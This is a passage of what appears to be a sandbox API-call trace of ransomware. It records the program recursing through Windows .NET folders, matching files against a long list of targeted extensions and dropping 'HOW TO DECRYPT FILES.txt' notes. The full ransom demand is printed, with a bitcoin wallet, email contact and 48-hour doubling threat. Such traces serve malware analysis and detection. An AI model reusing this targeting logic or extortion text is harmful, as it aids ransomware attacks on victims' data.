(pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.edb") returned 0 [0119.358] lstrlenA (lpString="*.edb") returned 5 [0119.358] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.accdb") returned 0 [0119.358] lstrlenA (lpString="*.accdb") returned 7 [0119.358] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.odb") returned 0 [0119.358] lstrlenA (lpString="*.odb") returned 5 [0119.358] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.java") returned 0 [0119.358] lstrlenA (lpString="*.java") returned 6 [0119.359] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.asm") returned 0 [0119.359] lstrlenA (lpString="*.asm") returned 5 [0119.359] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.pfx") returned 0 [0119.359] lstrlenA (lpString="*.pfx") returned 5 [0119.359] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.pem") returned 0 [0119.360] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0fcf890, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa0fcf890, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa0fcf890, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x500, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.Selectors.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0119.360] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0119.360] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.IdentityModel.Selectors.ni.dll.aux") returned -1 [0119.360] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.IdentityModel.Selectors.ni.dll.aux") returned -1 [0119.360] lstrcmpiA (lpString1="", lpString2="System.IdentityModel.Selectors.ni.dll.aux") returned -1 [0119.360] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll") returned="System.IdentityModel.Selectors.ni.dll" [0119.360] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\" [0119.360] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\") returned="" [0119.361] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\HOW TO DECRYPT FILES.txt" [0119.361] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\how to decrypt files.txt")) returned 0x20 [0119.361] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\", lpString2="System.IdentityModel.Selectors.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll.aux" [0119.361] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll.aux", pszSpec="*.ems") returned 0 [0119.362] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0fcf890, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa0fcf890, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa0fcf890, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x500, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.Selectors.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0119.363] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0119.363] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fcf890, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa0fcf890, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa0fcf890, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="d9ae515917adf48488f3aae28f96525a", cAlternateFileName="D9AE51~1")) returned 0 [0119.363] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0119.363] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0d6e290, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa0d6e290, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa0d6e290, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.IdentityModel", cAlternateFileName="SYSTEM~1.IDE")) returned 1 [0119.364] lstrcmpA (lpString1=".", lpString2="System.IdentityModel") returned -1 [0119.364] lstrcmpA (lpString1="..", lpString2="System.IdentityModel") returned -1 [0119.364] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0119.364] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.IdentityModel" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel" [0119.365] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0d6e290, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa0d6e290, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa0d6e290, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0119.390] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0119.390] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0d6e290, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa0d6e290, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa0d6e290, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.391] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0119.391] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0119.391] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0d6e290, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa0d6e290, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa0d6e290, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="2cad0e4c5f2c49f7723c62e507d9cd73", cAlternateFileName="2CAD0E~1")) returned 1 [0119.391] lstrcmpA (lpString1=".", lpString2="2cad0e4c5f2c49f7723c62e507d9cd73") returned -1 [0119.391] lstrcmpA (lpString1="..", lpString2="2cad0e4c5f2c49f7723c62e507d9cd73") returned -1 [0119.391] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\*.*") returned="*.*" [0119.391] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\", lpString2="2cad0e4c5f2c49f7723c62e507d9cd73" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73" [0119.392] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0d6e290, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa0d6e290, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa0d6e290, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0119.393] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0119.393] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0d6e290, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa0d6e290, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa0d6e290, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.393] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0119.393] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0119.394] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0d21fd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa0d21fd0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa0e2c970, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x37a400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.IdentityModel.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0119.394] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0119.394] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.IdentityModel.ni.dll") returned -1 [0119.394] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.IdentityModel.ni.dll") returned -1 [0119.394] lstrcmpiA (lpString1="", lpString2="System.IdentityModel.ni.dll") returned -1 [0119.394] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\*.*") returned="*.*" [0119.394] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\" [0119.394] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\") returned="" [0119.394] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\HOW TO DECRYPT FILES.txt" [0119.394] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.identitymodel\\2cad0e4c5f2c49f7723c62e507d9cd73\\how to decrypt files.txt")) returned 0xffffffff [0119.394] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.identitymodel\\2cad0e4c5f2c49f7723c62e507d9cd73\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0119.410] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0119.411] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0119.412] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0119.414] CloseHandle (hObject=0x90) returned 1 [0119.414] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\", lpString2="System.IdentityModel.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll" [0119.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.ems") returned 0 [0119.414] lstrlenA (lpString="*.ems") returned 5 [0119.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.db") returned 0 [0119.414] lstrlenA (lpString="*.db") returned 4 [0119.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.dbf") returned 0 [0119.414] lstrlenA (lpString="*.dbf") returned 5 [0119.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.myox") returned 0 [0119.414] lstrlenA (lpString="*.myox") returned 6 [0119.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.myo") returned 0 [0119.414] lstrlenA (lpString="*.myo") returned 5 [0119.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.qbw") returned 0 [0119.415] lstrlenA (lpString="*.qbw") returned 5 [0119.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.qbb") returned 0 [0119.415] lstrlenA (lpString="*.qbb") returned 5 [0119.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.qbm") returned 0 [0119.415] lstrlenA (lpString="*.qbm") returned 5 [0119.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.qbo") returned 0 [0119.415] lstrlenA (lpString="*.qbo") returned 5 [0119.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.qbx") returned 0 [0119.415] lstrlenA (lpString="*.qbx") returned 5 [0119.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.qba") returned 0 [0119.415] lstrlenA (lpString="*.qba") returned 5 [0119.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.qby") returned 0 [0119.415] lstrlenA (lpString="*.qby") returned 5 [0119.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.qbj") returned 0 [0119.415] lstrlenA (lpString="*.qbj") returned 5 [0119.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.ofx") returned 0 [0119.416] lstrlenA (lpString="*.ofx") returned 5 [0119.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.qif") returned 0 [0119.416] lstrlenA (lpString="*.qif") returned 5 [0119.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.mye") returned 0 [0119.416] lstrlenA (lpString="*.mye") returned 5 [0119.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.mbox") returned 0 [0119.416] lstrlenA (lpString="*.mbox") returned 6 [0119.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.eml") returned 0 [0119.416] lstrlenA (lpString="*.eml") returned 5 [0119.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.pst") returned 0 [0119.416] lstrlenA (lpString="*.pst") returned 5 [0119.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.ost") returned 0 [0119.416] lstrlenA (lpString="*.ost") returned 5 [0119.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.idx") returned 0 [0119.416] lstrlenA (lpString="*.idx") returned 5 [0119.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.dbx") returned 0 [0119.417] lstrlenA (lpString="*.dbx") returned 5 [0119.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.sql") returned 0 [0119.417] lstrlenA (lpString="*.sql") returned 5 [0119.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.mdb") returned 0 [0119.417] lstrlenA (lpString="*.mdb") returned 5 [0119.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.fdb") returned 0 [0119.417] lstrlenA (lpString="*.fdb") returned 5 [0119.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.wab") returned 0 [0119.417] lstrlenA (lpString="*.wab") returned 5 [0119.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.dat") returned 0 [0119.417] lstrlenA (lpString="*.dat") returned 5 [0119.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.txt") returned 0 [0119.417] lstrlenA (lpString="*.txt") returned 5 [0119.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.jpeg") returned 0 [0119.417] lstrlenA (lpString="*.jpeg") returned 6 [0119.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.jpg") returned 0 [0119.417] lstrlenA (lpString="*.jpg") returned 5 [0119.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.png") returned 0 [0119.418] lstrlenA (lpString="*.png") returned 5 [0119.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.php") returned 0 [0119.418] lstrlenA (lpString="*.php") returned 5 [0119.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.cs") returned 0 [0119.418] lstrlenA (lpString="*.cs") returned 4 [0119.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.cpp") returned 0 [0119.418] lstrlenA (lpString="*.cpp") returned 5 [0119.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.rar") returned 0 [0119.418] lstrlenA (lpString="*.rar") returned 5 [0119.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.IdentityModel\\2cad0e4c5f2c49f7723c62e507d9cd73\\System.IdentityModel.ni.dll", pszSpec="*.zip") returned 0 [0119.418] lstrlenA (lpString="*.zip") returned 5 [0119.418] PathMatchSpecA 